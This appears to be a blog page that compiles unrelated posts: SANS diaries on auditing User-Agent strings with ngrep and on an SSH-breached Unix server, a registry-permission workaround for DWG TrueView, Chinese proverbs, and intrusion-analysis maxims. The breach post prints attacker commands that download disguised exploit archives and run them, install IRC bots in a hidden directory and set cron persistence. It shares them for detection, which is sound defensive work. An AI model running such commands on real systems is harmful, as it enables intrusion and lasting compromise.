quick and dirty way to analyze IDS traffic using ngrep

This article is from SANS Diary

http://isc.sans.edu/diary/User+Agent+007/11455

Published: 2011-08-26,
Last Updated: 2011-08-26 00:11:28 UTC
by Daniel Wesemann (Version: 1)

Recently, while conducting an audit at a financial services company, I decided to verify their claim that their "desktop build is standardized" and "no other devices are on the network". The network team provided access to a SPAN port on their Internet uplink, where I attached my pen-test workstation to take a look.

$sudo ngrep -qt -W single -s1514 -d eth0 -P~ 'User-Agent:' 'port 80'

"ngrep" works like grep, but on network traffic. Thus, the above command digs through everything on port 80 (http) that the span port provides, and searches for the string "User-Agent:", which commonly contains the "signature" of the web client making the access. A little bit of cleanup was needed to make the output usable:

| sed 's/.*User-Agent/User-Agent/' | sed 's/~.*//' | sed '/^$/d'

This takes care of empty lines, and throws out everything that isn't part of the User-Agent: string.  Collect the output into a file for a while, and then tally:

$cat output.txt | sort | uniq -c | sort -rn

And lookie, we ended up with about 80 distinct user agents. In only five minutes of traffic. Well, so far for "standardized desktop build" and "nothing else on the network". Among the user agent strings seen were

User-Agent: Mozilla/4.0 (compatible; Lotus-Notes/6.0; Windows-NT)
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;.NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 (.NET CLR 3.5.30729)

Hmm, peculiar, some users are surfing with IE7 on Windows XP, while others are using an oooold version of Lotus Notes, and again others are using a vulnerable version of Firefox ??

User-Agent: Apple-iPhone3C1/812.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
User-Agent: BlackBerry9000/5.0.0.822
User-Agent: BlackBerry9700/5.0.0.656

A couple of mobile devices ... with what looks like a Windows7/IE9 system thrown in for good measure. The mobile devices turned out to be most interesting, because unless there is a WiFi gateway hooked into the corporate LAN, these devices usually surf via the mobile phone network, and shouldn't show up in the company's outbound Internet traffic. Guess what we found a couple minutes later ...: a little unauthorized wireless network extension, using WEP and the company name as SSID. Duh...!

And,  last but not least, we found some odd ducks that certainly warranted a closer look ..:
User-Agent: core
User-Agent: n1ghtCrawler
User-Agent: curl/7.8.1 (sparc-sun-solaris2.6) libcurl 7.9.6 (OpenSSL 0.9.6c)
User-Agent: Mozilla/4.0 (banzai)

Moral of the story: While your IDS probably alerts on "unusual" User Agent strings, it might nonetheless be a good idea to check out the full set of client applications that you have communicating with the Internet. The "User-Agent" string isn't failsafe, but it's a good start. You never know, you might just uncover a Secret (User) Agent who is busy squirreling away your data.

If you have other clever ways of auditing the user agent strings on your perimeter, please share in the comments below!

Comments

I'm glad you brought up odd user-agents, because I've been stuck searching for a user-agent I saw on my network:

USER-AGENT: TSA Browser Agent

My google-fu is lacking because the only thing I found that dealt with this user agent (and not the government agency, TSA) was a snort signature.

Do you believe this is in fact the user agent for the Target Saver spyware?

http://doc.emergingthreats.net/bin/view/Main/2001871

posted by Mike, Fri Aug 26 2011, 12:36

You can put multiple actions into a single sed command:

| sed 's/.*User-Agent/User-Agent/
s/~.*//
/^$/d'

Good diary entry about a simple way to do some good intelligence.

posted by Nit, Fri Aug 26 2011, 13:46

You can use tshark and avoid all the sed stuff:

$sudo tshark -f "port 80" -R "http contains \"User-Agent:\"" -Tfields -e http.user_agent > output.txt

$cat output.txt | sort | uniq -c | sort -rn

Sample output:

132 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100101 Firefox/6.0
13 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.16) Gecko/20101130 Ubuntu/9.10 (karmic) Firefox/3.5.7
1 Microsoft-CryptoAPI/6.1

posted by Franck G., Fri Aug 26 2011, 14:06

Blue Coat Proxy (Or Bluecoat Reporter) administrators can get this pretty easily as well.

In Blue-Coat Reporter - There's a built-in report for User-Agents.

Or, if you want to watch real-time action flying by, you can go into your Blue Coat and start a tail in Access Logging. You'll be doing a lot of scrolling this way, but it shows the required information.

posted by Jeff H., Fri Aug 26 2011, 14:22

This has given me an idea..for finding rogue access points.

Search for iPhone or iPad user agent strings with source address which you know should only be wired and you probably have yourself a rogue AP there.

Just ran this report on my Bluecoat and found a few possibles.

posted by Matt R, Fri Aug 26 2011, 17:19

"Reading Pavilion at Chinese Garden of Friendship - Darling Harbour"

I was looking for  words of wisdom quotes and ran across this link, alot of useful quotes.  If you start frustrating with your work and your life, close the door and read these quotes out loud will help.

http://mmdelrosario.hubpages.com/hub/Witty_and_Wise_Chinese_Proverbs

Reading Pavilion at Chinese Garden of Friendship - Darling Harbour

• A single spark can set a prairie on fire.
• Water can both sustain and sink a ship.
• Count not what is lost, but what is left.
• If there is a strong general there will be no weak soldiers.
• To extend your life by a year take one less bite each meal.
• Peace only comes when reason rules.
• Even the tallest tower started form the ground.
• Eloquence provides only persuasion, but truth buys loyalty.
• Wisdom is attained by learning when to hold one's tongue.
• A single tree cannot make a forest

• If one eats less one will taste more.
• One hand alone cannot clap, it takes two to quarrel.
• It does not matter if the cat is black or white, so long as it catches mice.
• Cowards have dreams, brave men have visions
• Learning is like the horizon; there is no limit.
• The old horse will know the way
• A good friend shields you from the storm
• Change the skin, wash the heart
• Sow melon, reap melon; sow beans, reap beans.
• One sings, all follow.

• Fortune has a fickle heart and a short memory.
• Harsh words and poor reasoning never settle anything.
• Dangerous enemies will meet again in narrow streets.
• Better to bend in the wind than to break.
• Do not kill the hen for her eggs.
• First attain skill; creativity comes later.
• Make the cap fit the head.
• A single beam cannot support a great house.
• Do not be concerned with things outside your door.
• Wise men may not be learned; learned men may not be wise.

• Crows are black the world over.
• Do not lift a rock only to drop it on your own foot
• Kill the chicken to frigthen the monkey
• Wait long, strike fast.
• Do not wait until you're thirsty to dig a well
• One who would pick the roses must bear with thorns
• Failure is the mother of success.
• Do not climb a tree to look for a fish
• Only time and effort brings proficiency
• Distance tests the endurance of a horse; time reveals a man's character.

Run Autodesk DWG Trueview 2010 without admin rights

One of the PC technicians at my workplace needs to install DWG Trueview 2010 for some end-users.  However, in order for those users to run this application, they need to be granted admin privilege on their local desktop.

I did some researches online and couldn't really find a solution for it.    While doing my searching online, I ran across a page which mentioned the procmon (process monitoring) tool from Sysinternal.  Dud!  why didn't I think of this tool?  Using procmon to monitor the application while it was running, I found out that "DWGVIEWR.exe" couldn't access two registry keys below:

HKLM\System\CurrentControlSet\Control\MediaProperties\PrivateProperties\Joystick\Winmm
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Fonts

In order to get this program running, all you need to do is to grant the end-user full permission to those registry keys (run "regedit" and browse to those keys, right click and add permission).

That is all you need to do to get it running.

Anatomy of a Unix breach

http://isc.sans.edu/diary/Anatomy+of+a+Unix+breach/11290

Published: 2011-07-31,
Last Updated: 2011-07-31 22:35:51 UTC
by Daniel Wesemann (Version: 3)

Rate this diary:

ISC reader Will wrote in to share a bash_history file (thanks!) from one of his Unix servers that got hacked. Since knowing the command sequence used by the bad guys helps to detect similar intrusions, we are sharing it here in (almost) full length. Some of the sites hosting the used root shell exploits are still live, and hence not included. The whole breach of Will's server started via a password guessing attack against SSH. We have covered this risk repeatedly in ISC diaries. Once the bad guys were in, they ran the commands below, and then apparently used the just installed IRC bots to continue scanning for SSH ports on other systems.

Phase#1: The bad guy tries to find out more about the box he just broke into
uptime
uname -a
w
ifconfig
Phase#2: Bad guy downloads all the Linux root exploits that he has, and just run them, hoping for a lucky break. Note how some of the TAR files come with an innocent-looking jpg or pdf extension. Hence, if you are filtering certain file types at the perimeter proxy, you better hope that your proxy goes by MIME type and magic bytes, and not by extension alone!
wget http://i......go.ro/exploit.jpg;tar xzvf exploit.jpg;rm -rf exploit.jpg;cd exploit;./mv;id
wget http://m......co.uk/sandu/ex.tgz ; tar zxvf ex.tgz ; cd e ; chmod +x * ; ./exploit ; id
wget http://g......at.ua/2.6.18.tgz;tar zxvf 2.6.18.tgz;rm -rf 2.6.18.tgz;cd uid0;./uid
wget http://g......at.ua/expl.pdf;tar zxvf expl.pdf;rm -rf expl.pdf;cd w;./wunderbar_emporium.sh
wget http://c......org/god.jpg;tar zxvf god.jpg;rm -rf god.jpg;cd .ICE-UNIX;./autorun;./run
We are not quite sure whether any of the above exploits was successful. The "id" command, or the exploit itself, would have told the attacker whether he got lucky, but there aren't any traces in the shell history file that would tell us either way.
In any case .. follows Phase #3a: The attacker installs some goodies. "virus.tar" isn't really a virus, it is a copy of EnergyMech, an IRC bot. Note how the bad guy uses Nano to edit the config file, which tells us that he isn't all that experienced on Unix. A real Unix hacker would most likely use "vi", because vi is present on all Unix flavors and versions. Note also how he calls the IRC bot "Evolution" when he starts it, likely hoping that an admin would overlook it in a casual investigation.
/sbin/ifconfig -a | grep inet
wget http://f......com/storm12/virus.tar
tar xvf virus.tar
rm -rf virus.tar
cd virus
ls -a
nano start
nano inst
chmod +x *
./autorun
./start Evolution
Phase#3b: Install some more goodies. egg.tgz is a copy of Eggdrop, another IRC bot. Note how the bad guy puts the files into a directory called " " (single space). If you want to search for such directories on your system, try this
#find / -name " " -exec ls -aldQ {} ;
mkdir " "
cd " "
ls -a
wget http://c.......org/egg.tgz
cd " "
tar zxvf egg.tgz
rm -rf egg.tgz
cd .access.log
ls -a
chmod +x *
./eggdrop -m bot1.conf
ls -a
cd scripts
nano respond.tcl
pwd

Phase #4: The attacker wants to make sure that access can be re-gained, and configures the cron tab to re-start some of his processes automatically on a schedule.
crontab -l
crontab -e
exit

The 10 Commandments of Intrusion Analysis

I came across "The 10 Commandments of Intrusion Analysis" article from Chris Sanders, SANS 503 mentor.  As, an IDS analyst myself, these commandments are so true.  Coincidently, I just re-listened to Mike's mp3 last week.

http://chrissanders.org/2011/01/the-10-commandments-of-intrusion-analysis/

The 10 Commandments of Intrusion Analysis

January 17th, 2011 Chris Sanders Leave a comment Go to comments

I’ve been actively involved in the training and development of intrusion detection analysts for a few years now which includes being a SANS Mentor for SEC 503: Intrusion Detection In-Depth. One thing I find myself constantly doing is trying to evolve my philosophy on effective intrusion detection. While doing this, some themes arise that tend to stay consistent no matter how that philosophy changes. Through that, I’ve written up something I call the “10 Commandments of Intrusion Analysis” which highlight some of those themes that seem to be at the core of what I try to instill in the analysts I train and in my own analysis. They don’t really command you to anything, but there are 10 of them, so the name kind of fits. These may not fit you or your organizational goals or personal style, but they work for me!

1. Analysts, Analysts, Analysts!

The most important thing an analyst can have ingrained into them in their importance. An analyst is the first line of defense. The analyst is sitting in the crows nest watching for the icebergs. It is the analyst who can keep attacks from happening and can stop attacks from getting worse. Most security incidents begin with an analyst providing a tip based upon an IDS alert and end with an analyst putting in new signatures and developing new tools based up on intelligence gained from a declared incident. The analyst is the beginning and the end in information security. The alpha and omega. Okay, maybe that’s a bit dramatic, but the importance of an intrusion analyst can’t be understated.

2. Unless you created the packet yourself, there are no absolutes.

Analysis happens in a world of assumptions and its important to remember that. Most of the decisions you will make are centered around a packet or a log entry and then honed based upon intelligence gathered through research. The fact is that the analyst isn’t the one who generated the traffic, so every decision you will make is based upon an assumption. Don’t worry though; there is nothing wrong with that. Ask your friendly neighborhood chemist or physicist. Most of their work is based upon assumptions and they have great success. The takeaway here is that there are no absolutes. Is that IP address REALLY a known legitimate host? Does that domain REALLY belong to XYZ company? Is that DNS server REALLY supposed to be talking to that database server? There are no absolutes, merely assumptions, and because of that remember that assumptions can change. Always question yourself and stay on your toes.

3. Be mindful of how far abstracted from the data you actually are.

An analyst depends on data to perform their function. This data can come in the form of a PCAP file, an IIS log file, or SYSLOG file. Since most of your time will be spent using various tools to interact with data it’s crucial to be mindful of how that tool interacts with the data. Did you know that if you run Tcpdump without specifying otherwise, it will only capture the first 68 bytes of data in a packet? How about that Wireshark displays sequence and acknowledgement numbers within TCP packets in a relative manner by default? Tools are made by people and sometimes “features” can cloud data and prevent proper analysis. I think both of the features I described earlier are great, but I’m also mindful that they exist so I can see all of the packet data available or view the real sequence and acknowledgement numbers when needed. In a job where reliance upon data is critical, you can’t afford to not understand exactly how tools interact with that data.

4. Two sets of eyes are always better than one.

There is a reason authors have editors, policemen have partners, and there are two guys sitting in every nuclear silo. No matter how much experience you have and how good you are you will always miss things. This is to be expected because different people come from different backgrounds. I work with the government so the first thing I look at when examining network traffic is the source and destination country. I’ve worked with people who have systems administration backgrounds and as a result, will look at the port number of the traffic first. I’ve even worked with people who have a number crunching background who will look at the packet size first. This demonstrates that our experiences shape our tactics a bit differently. This means that the numbers guy might see something that the sysadmin didn’t see or that the government guy might have insight that the numbers guy didn’t. Whenever possible it’s always a good idea to have a second set of eyes look at the issue you are facing.

5. Never invite an attacker to dance.

This is something I’ve believed since the first day I ever fired up a Snort sensor, but IDS guru Mike Poor phrased it best while I was attending one of his SANS classes when he said that you should never invite an attacker to dance. As an analyst its very tempting to want to investigate a hostile IP address a bit beyond conventional means. Trust me, there have been many occasions where I’ve been tempted to port scan a hostile that kept sending me painfully obviously crafted UDP packets. Even more so, any time someone attempts to DOS a network I’m responsible for defending, I wish nothing more than to be able to unleash the full fury of a /8 network on their poor unsuspecting DSL connection. The problem with this is that 99% of the time we don’t know who or what we are dealing with. Although you may just be seeing scanning activity, the host that is originating the traffic could be operated by a large group or even a military division of another country. Even something as simple as a ping could tip off an attacker that you know they exist, prompting them to change their tactics, change source hosts, or even amplify their efforts. You don’t know who you are dealing with, what their motivation is, and what there capabilities are, so you should never invite them to dance.

6. Context!
One word can drastically change the dynamic of your monitoring and detection capabilities. In order to be effective you must have context into the network you are defending.
Network diagrams, listings of servers and their roles, breakdowns of IP address allocations, and more can be your best friend. Basically any and everything that can be used to document the assets within the network, how they function, and how they relate to other assets are beneficial in running down anomalous events. Depending upon your role in the organization you may not be in a position to obtain these things and if they don’t already exist you are going to have a heck of a time getting the systems folks to put in the leg work to create them. However, as difficult as this may be, its an effort that’s worth pursuing. Whether you have to present your case to the CIO or just buy your network engineers a case of their favorite adult beverage its ultimately worth the effort.

7. Packets, in a word, are good.
The ultimate argument in life is whether or not people are inherently good or inherently evil.  This same argument can be had for packets as well. You can either be the analyst that believes all packets are inherently evil or the analyst that believes all packets are inherently good. I’ve noticed that most analysts typically start their career as for the former and quickly progress the later. That’s because its simply not feasible to approach every single piece of traffic as something that could be a potential root level compromise. If you do this, you’ll eventually get fired because you spent your entire day running down a single alert or you’ll just get burnt out. There is something to be said for being thorough but the fact of the matter is that most of the traffic that occurs on a network isn’t going to be evil, and as such, packets should be treated innocent until proven guilty.

8. Analysis is no more about tcpdump than astronomy is about a telescope.

Whenever I interview someone for any analyst position that’s above entry level I always ask them to describe how they would investigate a typical IDS alert. I get frustrated when someone gives answers along the lines of “I use  Tcpdump, Wireshark, Network Miner, Netwitness, Arcsight, Xeyes, etc” with no further clarification. Although their are processes and sciences in intrusion analysis, intrusion analysis itself is not a process or a science, but rather an art. If this wasn’t the case then it wouldn’t even be necessary to have humans in the loop when it comes to intrusion detection. An effective analyst has to understand that while different tools may be the most important part of the job, those things are merely pieces of the puzzle. Just like an astronomer’s telescope is just another tool in his arsenal that allows him to figure out what makes the planets orbit the sun, Wireshark is just another tool in an analysts arsenal that allows him to figure out what makes a packet bypass a firewall rule. Start with the science, add in a few tools and processes, stay cognizant of the big picture, keep an attention to detail, and eventually the combination of all of those things and the experience you gain over time will help you develop your own analysis philosophy. It’s at that point you have taken your analysis to the level of an art, and made it so that your worthy enough to not be replaced by a machine.

9. Sometimes, we lose.

No matter how hard you try there will come a point in which the network you are defending gets successfully attacked and compromised. In the modern security landscape its inevitable and there isn’t a lot you can do about it. In these times its likely that the analyst will take the heat over the incident. Because of this, you need to be prepared when it happens. An incident won’t be remembered for how an intrusion occurred, but rather how it was responded to, the amount of downtime that occurred, the amount of information that was lost, and ultimately the amount of money it costs the organization. What recommendations can you make to management to ensure a similar incident doesn’t occur again? What can you show your superiors to explain why the attack wasn’t detected? What shortcomings do your tools have? These are questions that can’t fully be answered until an intrusion has occurred and you have the context of an attack, but you can definitely consider the questions now and have a plan for how your information will be presented to key figures. You will get caught off guard and you will be blind sided, but its important that you don’t appear as such and you keep your game face on. This can make the difference between a promotion and a pink slip.

10. Dig deeper.
At the end of the day you have to have something to rest your laurels on and that has to be the fact that you’ve done your due diligence and that you’ve given your best. My “motto” per se when it comes to intrusion analysis is “Dig Deeper”. A defender has to control 65,535 ports. An attacker has to compromise one. A defender has to protect 10,000 users. An attacker has to deceive one. A defender has to examine millions of packets. An attacker has to hide a malicious payload in one. What can you do to increase your visibility into the data? What proficiency can you develop that gives you that edge against the attacker? You have a hunch that there is more than meets the eye, so what can you do to dig deeper?

 ---